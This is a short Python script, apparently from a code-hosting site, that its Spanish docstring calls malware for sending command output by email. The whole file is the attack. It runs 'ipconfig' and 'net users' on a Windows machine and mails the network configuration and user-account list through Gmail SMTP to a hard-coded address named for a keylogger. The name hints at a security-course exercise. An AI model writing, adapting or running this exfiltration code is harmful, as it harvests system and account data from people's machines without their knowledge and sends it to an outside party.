69 lines
1.4 KiB
Python
69 lines
1.4 KiB
Python
|
#!/usr/bin/env python3
|
||
|
"""
|
||
|
Malware - Envío del resultado de comandos por correo
|
||
|
|
||
|
Algunas librerías necesitarán instalación si se ejecuta con python directamente.
|
||
|
"""
|
||
|
|
||
|
import dotenv
|
||
|
import os
|
||
|
import subprocess
|
||
|
import smtplib
|
||
|
from email.mime.text import MIMEText
|
||
|
|
||
|
|
||
|
def run_command(command):
|
||
|
"""
|
||
|
Ejecutor de comandos
|
||
|
"""
|
||
|
|
||
|
output_command = subprocess.check_output(command, shell=True)
|
||
|
|
||
|
return output_command.decode('cp850')
|
||
|
|
||
|
|
||
|
def send_email(subject, body, sender, recipients, password):
|
||
|
"""
|
||
|
Envia un email con el reporte configurado
|
||
|
"""
|
||
|
|
||
|
msg = MIMEText(body)
|
||
|
msg['Subject'] = subject
|
||
|
msg['From'] = sender
|
||
|
msg['To'] = ', '.join(recipients)
|
||
|
|
||
|
with smtplib.SMTP_SSL('smtp.gmail.com', 465) as smtp_server:
|
||
|
|
||
|
smtp_server.login(sender, password)
|
||
|
smtp_server.sendmail(sender, recipients, msg.as_string())
|
||
|
|
||
|
print(f"[i] Email sent Successfully!\n")
|
||
|
|
||
|
|
||
|
if __name__ == '__main__':
|
||
|
|
||
|
dotenv.load_dotenv()
|
||
|
app_passwd = os.getenv("APP_PASSWD")
|
||
|
|
||
|
ipconfig_output = run_command("ipconfig")
|
||
|
|
||
|
# Primer correo
|
||
|
send_email(
|
||
|
"ipconfig INFO",
|
||
|
ipconfig_output,
|
||
|
"keyloggerseginf@gmail.com",
|
||
|
["keyloggerseginf@gmail.com"],
|
||
|
app_passwd
|
||
|
)
|
||
|
|
||
|
users_info = run_command("net users")
|
||
|
|
||
|
# Segundo correo
|
||
|
send_email(
|
||
|
"users INFO",
|
||
|
users_info,
|
||
|
"keyloggerseginf@gmail.com",
|
||
|
["keyloggerseginf@gmail.com"],
|
||
|
app_passwd
|
||
|
)
|